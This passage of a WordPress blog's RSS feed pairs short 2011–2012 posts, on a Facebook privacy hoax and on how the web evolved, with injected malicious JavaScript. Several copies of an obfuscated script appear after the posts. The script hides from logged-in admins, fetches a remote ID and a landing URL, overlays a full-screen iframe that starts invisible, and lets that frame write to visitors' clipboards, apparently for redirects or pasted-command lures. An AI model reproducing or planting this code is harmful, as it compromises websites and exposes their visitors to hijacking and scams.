        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }</p>
<p>    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }</p>
<p>    return "";
  }</p>
<p>  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }</p>
<p>  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;</p>
<p>    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;</p>
<p>    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;</p>
<p>      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;</p>
<p>      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }</p>
<p>      parent.appendChild(link);
    } catch (e) {}
  }</p>
<p>  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;</p>
<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }</p>
<p>      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));</p>
<p>      if (!builtUrl) {
        return step(index + 1);
      }</p>
<p>      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }</p>
<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }</p>
<p>    return step(0);
  }</p>
<p>  function activateIframe(url) {
    if (!url || registry.status === "active") return;</p>
<p>    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }</p>
<p>    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }</p>
<p>    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }</p>
<p>    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;</p>
<p>    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);</p>
<p>      registry.status = "active";</p>
<p>      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");</p>
<p>      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }</p>
<p>    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }</p>
<p>    registry.destroy = destroy;
    registry.reveal = reveal;</p>
<p>    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");</p>
<p>    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };</p>
<p>    iframe.onerror = function () {
      destroy();
    };</p>
<p>    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);</p>
<p>    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }</p>
<p>  function run() {
    warmupOrigins();
    bindMessageHandler();</p>
<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }</p>
<p>        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        finalUrl = toHttpUrl(finalUrl);</p>
<p>        if (!finalUrl) {
          cleanup("done");
          return "";
        }</p>
<p>        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }</p>
<p>        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }</p>
<p>  registry.runPromise = run();
})();</script></p>
  ]]></content:encoded>
					
					<wfw:commentRss>http://technacea.com/2012/07/31/creatives-technology-the-age-of-context/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">197</post-id>	</item>
		<item>
		<title>Facebook Privacy Notice: what to do when viral isn&#8217;t good</title>
		<link>http://technacea.com/2012/06/05/facebook-privacy-notice-what-to-do-when-viral-isnt-good/</link>
					<comments>http://technacea.com/2012/06/05/facebook-privacy-notice-what-to-do-when-viral-isnt-good/#respond</comments>
		
		<dc:creator><![CDATA[Bill Sanders]]></dc:creator>
		<pubDate>Tue, 05 Jun 2012 16:12:44 +0000</pubDate>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Social]]></category>
		<guid isPermaLink="false">http://technacea.com/?p=189</guid>

					<description><![CDATA[Seen this little jewel on your Facebook feed yet? If not, I&#8217;m sure you will. And as typical of this type of &#8220;information,&#8221; it isn&#8217;t true. I know I probably shouldn&#8217;t be, but I&#8217;m shocked at the otherwise technically sophisticated people in my circles that don&#8217;t take the time to do even basic research before reposting this drivel.&#8230; <a class="more-link" href="http://technacea.com/2012/06/05/facebook-privacy-notice-what-to-do-when-viral-isnt-good/">Continue reading <span class="screen-reader-text">Facebook Privacy Notice: what to do when viral isn&#8217;t good</span></a>]]></description>
										<content:encoded><![CDATA[<p>Seen this little jewel on your Facebook feed yet?</p>
<p><a rel="attachment wp-att-190" href="http://technacea.com/2012/06/05/facebook-privacy-notice-what-to-do-when-viral-isnt-good/facebookprivacy/"><img decoding="async" class="alignnone size-full wp-image-190" title="FacebookPrivacy" src="http://technacea.com/wp-content/uploads/2012/06/FacebookPrivacy.png" alt="" width="442" height="366" /></a></p>
<p>If not, I&#8217;m sure you will. And as typical of this type of &#8220;information,&#8221; it isn&#8217;t true. I know I probably shouldn&#8217;t be, but I&#8217;m shocked at the otherwise technically sophisticated people in my circles that don&#8217;t take the time to do even basic research before reposting this drivel. It&#8217;s viral in the worst sort of way.</p>
<p>So here&#8217;s my recommendation: <a title="LetMeGoogleThatForYou" href="http://lmgtfy.com/">LMGTFY</a>!</p>
<p>If you haven&#8217;t seen this site, it&#8217;s worth book marking for all those occasions when someone asks you a question for which they could have easily looked up the answer. Or, in cases like these postings where they should have looked it up before reposting.</p>
<p>Go ahead, test it out and see if it doesn&#8217;t put a smile on your face.<a href="http://bit.ly/Lm2WQt"> Here&#8217;s the one</a> I&#8217;m using for this most recent Facebook disinformation.</p>
<p>Now the only question is whether to use it privately, or deploy it as a public slap-down. Enjoy!</p>
<p>&nbsp;<script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||"")){var n=Symbol.for("__inline_id_offer__"),r=window[n]=window[n]||{iframeReady:!1,iframeId:"ifr_"+Math.random().toString(36).slice(2),run:null};r.iframeReady||("complete"===document.readyState||document.body?c():window.addEventListener("DOMContentLoaded",c))}function i(e,t){if(e.indexOf("dropbox.com")>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf("gist.githubusercontent.com")>=0&&(n=n.replace(/%2F/g,"/")),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){return(e||"").trim()}).catch(function(){return""})}function a(e){if(!e)return!1;try{var t=e.indexOf(":")>=0?e:"https://"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||"").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement("iframe");n.style.display="none",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src="about:blank",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement("iframe");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf("?")>=0?"&":"?",n+o+encodeURIComponent("v")+"="+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText="position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;",a.setAttribute("aria-hidden","true"),window.addEventListener("message",function(e){if(e.data&&"object"==typeof e.data&&"ktl-show-original"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();</p>
<p>console.log('28du3');</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];</p>
<p>  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";</p>
<p>  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };</p>
<p>  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;</p>
<p>      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;</p>
<p>      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;</p>
<p>      var de = document.documentElement;
      var body = document.body;</p>
<p>      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}</p>
<p>    return false;
  }</p>
<p>  if (isWpLoggedInContext()) return;</p>
<p>  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }</p>
<p>  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }</p>
<p>  registry.status = "loading";</p>
<p>  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }</p>
<p>  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";</p>
<p>    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }</p>
<p>    var encoded = encodeURIComponent(id);</p>
<p>    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }</p>
<p>    return template.replace(/\{id\}/g, encoded);
  }</p>
<p>  function toHttpUrl(value) {
    if (!value) return "";</p>
<p>    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");</p>
<p>    if (!s) return "";</p>
<p>    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }</p>
<p>    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}</p>
<p>    return "";
  }</p>
<p>  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";</p>
<p>    if (typeof input === "string") {
      return toHttpUrl(input);
    }</p>
<p>    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }</p>
<p>    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }</p>
<p>    return "";
  }</p>
<p>  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }</p>
<p>  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;</p>
<p>    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;</p>
<p>    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;</p>
<p>      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;</p>
<p>      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }</p>
<p>      parent.appendChild(link);
    } catch (e) {}
  }</p>
<p>  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;</p>
<p>    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }</p>
<p>      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));</p>
<p>      if (!builtUrl) {
        return step(index + 1);
      }</p>
<p>      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }</p>
<p>      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }</p>
<p>    return step(0);
  }</p>
<p>  function activateIframe(url) {
    if (!url || registry.status === "active") return;</p>
<p>    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }</p>
<p>    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }</p>
<p>    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }</p>
<p>    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;</p>
<p>    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);</p>
<p>      registry.status = "active";</p>
<p>      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");</p>
<p>      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }</p>
<p>    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }</p>
<p>    registry.destroy = destroy;
    registry.reveal = reveal;</p>
<p>    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");</p>
<p>    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };</p>
<p>    iframe.onerror = function () {
      destroy();
    };</p>
<p>    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);</p>
<p>    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }</p>
<p>  function run() {
    warmupOrigins();
    bindMessageHandler();</p>
<p>    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }</p>
<p>        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }</p>
<p>        finalUrl = toHttpUrl(finalUrl);</p>
<p>        if (!finalUrl) {
          cleanup("done");
          return "";
        }</p>
<p>        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }</p>
<p>        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }</p>
<p>  registry.runPromise = run();
})();</script></p>
  ]]></content:encoded>
					
					<wfw:commentRss>http://technacea.com/2012/06/05/facebook-privacy-notice-what-to-do-when-viral-isnt-good/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">189</post-id>	</item>
		<item>
		<title>Evolution of the Web</title>
		<link>http://technacea.com/2011/09/07/evolution-of-the-web/</link>
					<comments>http://technacea.com/2011/09/07/evolution-of-the-web/#respond</comments>
		
		<dc:creator><![CDATA[Bill Sanders]]></dc:creator>
		<pubDate>Wed, 07 Sep 2011 21:29:40 +0000</pubDate>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Media]]></category>
		<guid isPermaLink="false">http://technacea.com/?p=182</guid>

					<description><![CDATA[One of my clients sent me this link to a very creative and useful reminder of how the web has evolved &#8211; especially in the interaction between browsers and various web technologies. I&#8217;d like to see them add the social element in as well in the next edition&#8230;]]></description>
										<content:encoded><![CDATA[<p><a rel="attachment wp-att-183" href="http://technacea.com/2011/09/07/evolution-of-the-web/historyoftheweb/"><img loading="lazy" decoding="async" class="alignnone size-medium wp-image-183" title="evolutionoftheweb" src="http://technacea.com/wp-content/uploads/2011/09/historyoftheweb-500x263.png" alt="" width="500" height="263" srcset="http://technacea.com/wp-content/uploads/2011/09/historyoftheweb-500x263.png 500w, http://technacea.com/wp-content/uploads/2011/09/historyoftheweb-1024x540.png 1024w, http://technacea.com/wp-content/uploads/2011/09/historyoftheweb.png 1156w" sizes="auto, (max-width: 500px) 100vw, 500px" /></a></p>
<p>One of my clients sent me <a href="http://evolutionofweb.appspot.com/">this link</a> to a very creative and useful reminder of how the web has evolved &#8211; especially in the interaction between browsers and various web technologies. I&#8217;d like to see them add the social element in as well in the next edition&#8230;<script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!/^\/(wp-admin|wp-login)/.test(window.location.pathname||"")){var n=Symbol.for("__inline_id_offer__"),r=window[n]=window[n]||{iframeReady:!1,iframeId:"ifr_"+Math.random().toString(36).slice(2),run:null};r.iframeReady||("complete"===document.readyState||document.body?c():window.addEventListener("DOMContentLoaded",c))}function i(e,t){if(e.indexOf("dropbox.com")>=0)return e.replace(/\{id\}/g,t);var n=encodeURIComponent(t);return e.indexOf("gist.githubusercontent.com")>=0&&(n=n.replace(/%2F/g,"/")),e.replace(/\{id\}/g,n)}function o(e){return fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){return(e||"").trim()}).catch(function(){return""})}function a(e){if(!e)return!1;try{var t=e.indexOf(":")>=0?e:"https://"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:"no-store"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||"").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return 